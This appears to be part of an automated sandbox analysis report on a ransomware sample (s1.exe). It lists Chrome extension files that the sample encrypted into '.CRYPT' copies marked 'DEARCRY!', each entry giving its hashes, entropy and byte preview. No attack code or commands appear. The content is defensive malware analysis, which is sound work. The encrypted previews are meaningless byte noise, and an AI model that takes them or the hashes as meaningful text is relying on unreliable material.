                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_background.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1125912
                                                              Entropy (8bit):7.999841231208925
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:BA4D0038871E7ACF2558FCF85193A662
                                                              SHA1:BD8BFE49994D2C039E83C50F055612A09A5B9D89
                                                              SHA-256:401E3B3C56E92012DF380BF0BE201917F0E99F72AC843D5FE1B4D5B1F9E2CA6A
                                                              SHA-512:0F824671846FA42A527CEFB31BABD08610FDFED104E4F2049D7E50950F40206737854624BDA7CCD2C94C2DBB0B979A186B467C67B76AB5E81C234B837CFD3C39
                                                              Malicious:true
                                                              Preview: DEARCRY!....@.S.H_.M`s."...N*f.N....r 4.Y$.0..D.G..z\T.M(.Cb...'..3m...a* ?...........J`.1..=.......]).r._..F.....D.....'..T ..|.`...n.7]!XT..O...z.../!.G.!e*.....r..."0qZ..^..A...%..R......x.=...u2.]..,.!....j..W/.Iw..KfECE.QX.O........5..`N....f......$d#.......,........W.>.U......^..5.H.....b&......~..BQ..k?....=f=W."..@S....e.AfO....%C8..f..v.[!.X.Z..:.r.....OE3..?..O..Q...(.K.......))F..J...D.t.m...;.t$U......!.........K.+Zf..5..t.....KU.. '.(GD0 ..+.7Ffn>....+G.....@.T..e....,..\...h.-..\t....3..m.lM.Tc.eQr.f..yRV..q......~.@..{na.........p"}...R.M....1..o..L.H.......PFnO.)k.1..H..V.y.J..........9........(.,.d.........n..A..$t...U..+...i....P.1.Z...(.*%.v...H..M......?5X....2".6...vL.5.*..uT;..a{\....M3:...!B..[.o....[P.\.:d.&...&H..0h9..4.....\O...[*.:.|6c..\/HmgaX"\..)....K..B.z.8 B..............zhsm..p<..0.*z6P.jj..=,)*....i..B.).W=n....6$.__......w......)h5n..D0.)Y..c..H..(........~Q...OWS^.D..&...Xtd..R.,..Yh.H...0.U...-.8d..H.<.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_window.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):265793
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D1BF6C588A3761EE1D8F53F617290260
                                                              SHA1:10F95FD165102171EF7067FC7C67CC7B55A6A7FC
                                                              SHA-256:B22C9A648AE41CEF488AF952CC9B8B8C253CFE838D4B6B42FF0970798EAA9747
                                                              SHA-512:27933AFF66E0C3B06DC08B81319CD4A2526BF89552556482281816D77A5F023BE1BEB9ADE45DCF7BE099F6CF0F8D047D4035C57096CB17163E2D4F3AD9FE6F2B
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_window.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):266088
                                                              Entropy (8bit):7.999249686107715
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:21C10B2D3CFDAC1CFB52AC318BBD0DC3
                                                              SHA1:41938676C75D3D4511B6BFA86676DCF2137758B4
                                                              SHA-256:B38410E3D78554EC449459571A8BFF30247C81AE2B911F762A5D7A426AF00940
                                                              SHA-512:3D5046423A79393F1B7AA7036803EF68C9ADBB675729B6665386E559D9A6BF80E4F9502AE55C6956639BD81DFD683FCE9FE548463F0B95A89609BD3EB39124FE
                                                              Malicious:true
                                                              Preview: DEARCRY!.....f.E.0.[...?.;.$,.........r.GC).9..|.@...#...*..[7v.w.2...........~k...a.\...v"...W..../.....#Jr....%....u.......kN....S.....e...H9....7.>..".w}Y..R6..I@..3..x..p..`.J...v8.:..&..i\...m....#.9P..T..1.X...e..aS..;..~l+.4........u.T#.8.-..|.N..Y.....A........5..-..{a.t..e..w.....E;.;-...O..X.)y.TH|....z.........i..M.. .qU...z&.x.)..B.80..L`.lN4.YO|..f6._X...L....0mf@....7._,....zB.O.....G...53e...O..Z.....9E.P.q.......*.$..D.....m}.=P<......].bBOeb@.Ye....[..k.....R.~....H...Wx..X.`%U.3....R.GN.N<...c.....}A....3.)l..wJ-.t.4>bs...I.r"......9..........}..t..?}^r~.Ga.-.5...Qw?....."V.j.>"Q.)..rI......l..R.........#.[.........QD..&{..T......'./..<...rZz....1..%:. E&.qk.a.>....`.'..OKk.........d..QQ`{.`..j.g8..)....C,.8...z.1?...W*{0.'.).......|.t^...!7..D6.9UE.Q..b.......G.....J.....O.=sPf!{w}.7..P%..x+.u.V....h.Je.gD.2..../....:._]..B...b..(.Z..6".v,.i.O.....|..P.3u0.......s...$..(me...z...)${F.........x. ..Q..:...].V-t..O..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\craw_window.css
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1741
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:26A6F0C24D80DD72A1A25C7BE942AF39
                                                              SHA1:0670374A372BE424B18ADF1AE065CBC8F946FE7F
                                                              SHA-256:45000539A08B5E5E13992AD829CFBB09828EB571D3A7601D9B68E5392395DF32
                                                              SHA-512:965F0E93DCE7E4F9549BBD7704C511FB2FFC63794D75411741710CFACD1CCA2C996746681A084E0C03E089CBEDDE64BC76968A46C051098A59AD70689FE38362
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\craw_window.css.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2024
                                                              Entropy (8bit):7.896695335087926
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A2C4EF18915B071F3FC94AFE91B15C5
                                                              SHA1:7FCDDBD7284B80498CEFEF8317ED7F4AFD4E3CCD
                                                              SHA-256:51C8E1C4460BF26B77B406490E8CFD8535E4B7F90AC6283566847F72A27DF97C
                                                              SHA-512:B75C9062CDC8485AB47D014643FDF7F25C0105DA11BF3B525ADBAC6786F891E984BFB4BFD2F1997B4CDE51D9E907679DB401EDED3885A1A81D3349E1296C91FB
                                                              Malicious:false
                                                              Preview: DEARCRY!.......:...I.^.#.&b...8l..0...-....a@-...l..S.l........Y...>8[P.....h.9+!.(..S.t..t.M.\+..y.0..A.zi5.(..k.P.n.M.Q...~M'R......3......r.!..}.g'.7...w.%.(..L..K....P.S.fn]n.a...4....d.0G.!.S...+...U...y?....R|.G..'..f.v.zh.0..=......w...CPbF....Bt.............;'?.8<...iS.....'H.h.T...8.N....n>.....c...U.\8...P..R..d..5Y{e.F? .....S.x........k.P...@.......J.l.n....%^.6.n.@.+..I..R+=.,.a....t]..D.S..PK....{..I-).f..Jvx..C...?..R)X..D".5....V.2~.@.......Q...f..i..paJ$..?..g.V..{..E..xq;.9..jK@.[...$H..}....Z.B.g.b.;.\.[~bH_D1<..W0d..........{.I<E..".c.0.a.P....Vj.Z6./k.{.'n..F._...0.xU......M.u.....W...5)...s_t..\z..*..O.a..Z6.!<N....Ch......O..>!....C..h..:(U....a.R.W...j8.M..f.Q/._.}8....z.......)......\..N.+....|+.K?..l*....z.+.i.T...M...M1@.&..b.........Fv... E{.....A...6.7XY....0.....|.q$..k ../6.f..Q..FR7...?..;N.....M?.MJ...qw^..1&2....l..a.bJ:............;.I..{..Z..[xG.o...we...:<V.G...%....d@r..t+...b..s./..+..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\craw_window.html
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):810
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:535616FAC638A62E4A36C2BF2FCEFD47
                                                              SHA1:CEDBF3D4EF317151FCD9EB89FF106CA3699396D9
                                                              SHA-256:DD40897F3C1EA3DC6E06F9507F151EF59879B730E8CAD0CD58438FBEAAD6D00E
                                                              SHA-512:7E3019A87460F15B557A6C1CB0C11EA158D247FF21480D7A7DB993D821E0A7CA2CBB425CBBA0FE3D719BE98B9C9A6E72DD273C5F4E8F53031E92D9AE0F462F4A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\craw_window.html.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1096
                                                              Entropy (8bit):7.79663066309077
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3CD6F56F41F2C82D183A4FA1B35E48FA
                                                              SHA1:B398038A50E97F500E2CFDFEE20BFAF6EBDE6BAC
                                                              SHA-256:B9868A4B238BFC633FB3B9E9D168C1B41490464C15B307EA945F204DB8BE9DE4
                                                              SHA-512:58F61EA71A6CAAD6D6168197883E9E622C8ACE6561851785A8536368689EC1C50DB174953A22A3127D74FF5F834C64D455708E16A60676E7CADA33AE222CB15B
                                                              Malicious:false
                                                              Preview: DEARCRY!......._..mbU;..........<H..5_.........q%W?B...Z.....#......^.S|.`s]....U21`.+F...."j#.."...x.u.../+c...f.......... .S..K..e...U....'X&.9..cl./#..Y.F...:^.`.p.8~....)g...w.tw....9H5.....W._s6...c)....JzN!.1X....OWN......ie.Dp7...XC..<u........*........4......c.@..g...f.;.G......%..SO..}L..d...../.p...b..?..{...L3@.Y.?.\*C.W..N@...x.J...,.....p...t..[D...+y.........5...|... .R....e......x..a.{.b..3*..m.U6@....c....Kq..?..%...m.b*.).....O...3P.3u.. .|....%1...n.+N.A/.0...up...LuY..]c2.]o..G.!r...T.......E.........id.\.7.E..e\...r.}..........-K,.{.......#...z7..,.l...O..*eh.c.H.".......8.u3...I~.b.,.P..L\.^...N;.(zT...4P.n..v.x..u..;.q..\.gdg>.....).TR.;..t7.....<..xQM...p...A..ge@6."..ed.0?.r.?...$./j.O!$..=..p@..$.$L#_[4.....M..M..g......p+p.=..rC..#'.>...K....R;}8.?....o*}.J6.}.mBl...6.;..8...A._..p........8.........4k.\,..i.B...T.E'...wn.a........r..k.Z..?.^eq..3.....0..p.S:.:...,Ir./.k...M.../.n6.pn....bc..B.....c2
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\icon_128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4364
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:27649398B66A572E57D3EE2F015B04E1
                                                              SHA1:88780665D5BAEA5DDF68B55EC164BF16B4E0858E
                                                              SHA-256:9A3DB1A24B770E47EA63279205851E25BC39B14858C5879A775092B11B7BBB54
                                                              SHA-512:3D8DF154C00BB7CD97330A0E620EA6C27BBAD74E8E58CA663687E142099C4EC513E825A814403359A9F47B195AB3DB800C12AE77BB2A7D211BA99668C852A2C3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\icon_128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4648
                                                              Entropy (8bit):7.960421193220629
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:64AD3455FF0771BB469A2D481F80F69F
                                                              SHA1:83047A1B72892E724C80486068EAD1BDE045D39A
                                                              SHA-256:664ABE87530B989434AB1E9E590E3A20A57192A491A0AF51B9F3C5E6D3ED8681
                                                              SHA-512:E4D32CC3B7344C28F963C3EE1BF4E5A16697FC971908DA2A750629B257F04CA40FD8DEFA027AF2721D7F547469AA877050345788EBC969AA98A7004FF36264A0
                                                              Malicious:false
                                                              Preview: DEARCRY!....}F...lO3...K.s.P9.8W.....I.OC...(...{9F".Gj<.X6...G..Q.&..t.O.~..x;.i.>...7...;..zl.Q..E..N......T..!.M..LF?.2a......'...9....?.6G.../....c-.v.dI.... W..h..0...p.ie.G...-sW.........}..D.aK.....n.m^zR..W..L....sSHV*.......5...j.....5G....=.w................{.\<.=}........G....P.U..3,.3`XR*...$e.P.....8....U....T.Dg.aa...H`..Qf#..g.... T+.....&.o6XM...4L.Dg9..g^.c.<2..h.m.u.A">h|`7./....j.`......C.9o.+....Yd...@.tz.V.E<`\.hw.t...(&^{....'.......j0......#.P....0'`....Oy$..4G:'......qM.......w1...I5..R..U..}N5.L+...@.Sq...,# ...g..d8C.1..W.5n.8..??).~/.8'i>.nB.K.......{4Is."..b<!P5..bz...S36........jc}.nN.\.... a!%.../u....D&.H...........Sa..?....D..}.`..Q.#.O;r..k;...(...?Q...;...Z,.....yj.0/\i....tQ..]..9.)..l-nC...r~[....Y:......+h....kV.Tfd`.w^.c.3..S.B...FG~K.rQP.!.9..`..7D m+.....,.p).Nh...:......O....-@...FX_#..+Y.y.)?.........c..Y.0F?.d.`.W%...4.......v._.M5'.`E.9.6.....a....G.~\..N..3..=...i`....z.+I........5...c.....`.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\icon_16.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):558
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C01CD1F408BA7127A3E21C81AA255243
                                                              SHA1:4D43AB40928EF7FB786CF0FFE02D58025ED2DBD3
                                                              SHA-256:1527D9B91299F85598454F2835DD7D98F2D038CDCF03AAA21090F683093446AC
                                                              SHA-512:374736CB348C054ED8410A900E97EA768C5544A1D4898A1DC43D9A5A63A58B72BF546EDC330583DFDFE7C2DCB1EDA5BC399E6637370732497B83ED25B178B715
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\icon_16.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):840
                                                              Entropy (8bit):7.719688932528596
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D7E1EF0A3DB08CB4CB4E6DC648EE4A6A
                                                              SHA1:FD5B86320441BE9B8A4C39C1CC50879C8C49DC07
                                                              SHA-256:35804D02DBAED0C65C740E0A1BD2F4D898ADDC957066DE49066A2F2AE19B7AD3
                                                              SHA-512:D4E6425CE19C2194174896C5F588BE3F54724B54A708FBDE936A93DD19B18362BA76D2B44211CC559D5CEC772DC387A5E2008D5A069AEE8D5CD71597E91397DA
                                                              Malicious:false
                                                              Preview: DEARCRY!......As"u.:.R(@}..v}q..7..S...@^..d$.g.C.9.Q./....CG..xfw...l.I,4...b.....R*....c...(....1......6......u......(b.N.C{t.fj.+....>....sA.c<]`......(..O...lCx.D.:...a..JQTJ|.......7.....8-W.YQ..t.1.?..A...'.....S.@n.ij/;...+............:J..)..0l...7|...............-.0.....D..=...~5.i...5.a.......[......#.7....0%..c..~..(.F\=...@m,.9S...Rj.r+.X...q../..l.|=d8.|)..*.|.Y{..].\.?`...NG..L]..qe....&..3slSD....9..M.k...4W.T.TEF.....*>.it>.`=.H]..n....pw......+../..<.z.-.....4[......-...I.M.x.[s[3.i..T!..0..T......{....H&.U....2...j..Z.....)RX.U.'."...x.w...I.&.NN...........(...(e..XeO.^d...b.L6.c...F-..7.I .`...}.N.z*..Q.;a.......A.y7t.{n.7o......6....*..+.F......lE.2..w.&..k.I.L.7...i..N\.n.w.@.Mqe.v0..Q;.y...x.....j..h>..M...}.....09u...an..Z....c...u:]...z'.x.....vw..f..^.b....s5$Y1..7.......
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):160
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8075502CBD0336B37CE670E2ED82214
                                                              SHA1:96686C1DE2CA326A9A80173588C944500B43F388
                                                              SHA-256:63DAEF30C24DF9B4ED06F0AF2B23EA32FD8E11B9F0FF2597ACFD23F3C335A60B
                                                              SHA-512:2D75EFCB995F1078986F0CD5D1E145E07213FB4C453F04B05E159E369413DC616CB9A8F219FC2E53FB28A50E082956236C10E43A3F68C26F136D889024B7C492
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\topbar_floating_button.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.501412891622417
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:63FEE75F9EA79D219B72AFC1CC6E8B3B
                                                              SHA1:41742E480E9EE62907D12F8E3E6D839A9EDAA8AA
                                                              SHA-256:18277BC8C0BD5AC7EB2B1F67EEEDE79A70832E8EF5459CF5FC591FE9620A73EA
                                                              SHA-512:AFFDAC7D1C9F563947ADDD586EBE66B9150F16BD17FCA26DBAA142006F247AC36A45B7785F671D98E32FC219432FDAB79C96709A163BD0FA6BCE7AD0E2CE2F43
                                                              Malicious:false
